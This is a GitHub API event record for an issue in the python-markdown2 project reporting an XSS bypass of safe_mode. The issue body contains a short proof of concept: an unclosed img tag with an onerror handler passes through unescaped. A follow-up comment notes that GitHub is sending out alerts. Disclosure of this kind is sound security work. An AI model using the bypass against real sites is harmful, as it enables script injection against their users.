{"action":"created","issue":{"url":"https://api.github.com/repos/trentm/python-markdown2/issues/285","repository_url":"https://api.github.com/repos/trentm/python-markdown2","labels_url":"https://api.github.com/repos/trentm/python-markdown2/issues/285/labels{/name}","comments_url":"https://api.github.com/repos/trentm/python-markdown2/issues/285/comments","events_url":"https://api.github.com/repos/trentm/python-markdown2/issues/285/events","html_url":"https://github.com/trentm/python-markdown2/issues/285","id":289514907,"node_id":"MDU6SXNzdWUyODk1MTQ5MDc=","number":285,"title":"Possible XSS in safe_mode using incomplete tags","user":{"login":"vin01","id":30344579,"node_id":"MDQ6VXNlcjMwMzQ0NTc5","avatar_url":"https://avatars3.githubusercontent.com/u/30344579?v=4","gravatar_id":"","url":"https://api.github.com/users/vin01","html_url":"https://github.com/vin01","followers_url":"https://api.github.com/users/vin01/followers","following_url":"https://api.github.com/users/vin01/following{/other_user}","gists_url":"https://api.github.com/users/vin01/gists{/gist_id}","starred_url":"https://api.github.com/users/vin01/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vin01/subscriptions","organizations_url":"https://api.github.com/users/vin01/orgs","repos_url":"https://api.github.com/users/vin01/repos","events_url":"https://api.github.com/users/vin01/events{/privacy}","received_events_url":"https://api.github.com/users/vin01/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":4,"created_at":"2018-01-18T06:06:04Z","updated_at":"2018-10-25T23:39:30Z","closed_at":null,"author_association":"NONE","body":"PoC with latest version:\r\n\r\n```\r\n>>> from markdown2 import markdown as mark\r\n>>> mark('<img src=\"\" onerror=alert(/XSS/)>', safe_mode=True)\r\nu'<p>[HTML_REMOVED]</p>\\n'\r\n>>> mark('<img src=\"\" onerror=alert(/XSS/) ', safe_mode=True) # Please notice the space at end of string.\r\nu'<p><img src=\"\" onerror=alert(/XSS/) </p>\\n'\r\n```\r\n\r\nusing `safe_mode=\"escape\"`:\r\n\r\n```\r\n>>> mark('<img src=\"\" onerror=alert(/XSS/)>', safe_mode=\"escape\")\r\nu'<p>&lt;img src=\"\" onerror=alert(/XSS/)&gt;</p>\\n'\r\n>>> mark('<img src=\"\" onerror=alert(/XSS/) ', safe_mode=\"escape\")\r\nu'<p><img src=\"\" onerror=alert(/XSS/) </p>\\n'\r\n```\r\n\r\nIt will trigger an alert box in Chrome. I think it will be a better approach to encode the incomplete tags as well to prevent it.\r\n\r\nhttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet"},"comment":{"url":"https://api.github.com/repos/trentm/python-markdown2/issues/comments/433240493","html_url":"https://github.com/trentm/python-markdown2/issues/285#issuecomment-433240493","issue_url":"https://api.github.com/repos/trentm/python-markdown2/issues/285","id":433240493,"node_id":"MDEyOklzc3VlQ29tbWVudDQzMzI0MDQ5Mw==","user":{"login":"lsh-0","id":2142748,"node_id":"MDQ6VXNlcjIxNDI3NDg=","avatar_url":"https://avatars0.githubusercontent.com/u/2142748?v=4","gravatar_id":"","url":"https://api.github.com/users/lsh-0","html_url":"https://github.com/lsh-0","followers_url":"https://api.github.com/users/lsh-0/followers","following_url":"https://api.github.com/users/lsh-0/following{/other_user}","gists_url":"https://api.github.com/users/lsh-0/gists{/gist_id}","starred_url":"https://api.github.com/users/lsh-0/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lsh-0/subscriptions","organizations_url":"https://api.github.com/users/lsh-0/orgs","repos_url":"https://api.github.com/users/lsh-0/repos","events_url":"https://api.github.com/users/lsh-0/events{/privacy}","received_events_url":"https://api.github.com/users/lsh-0/received_events","type":"User","site_admin":false},"created_at":"2018-10-25T23:39:30Z","updated_at":"2018-10-25T23:39:30Z","author_association":"NONE","body":"just an FYI, Github is now sending out reports. \r\n\r\n![screenshot at 2018-10-26 10-07-34](https://user-images.githubusercontent.com/2142748/47536360-167ba300-d907-11e8-8cbf-6f3d15ba6a82.png)\r\n\r\n"}}
{"actor":{"display_login":"lsh-0"}}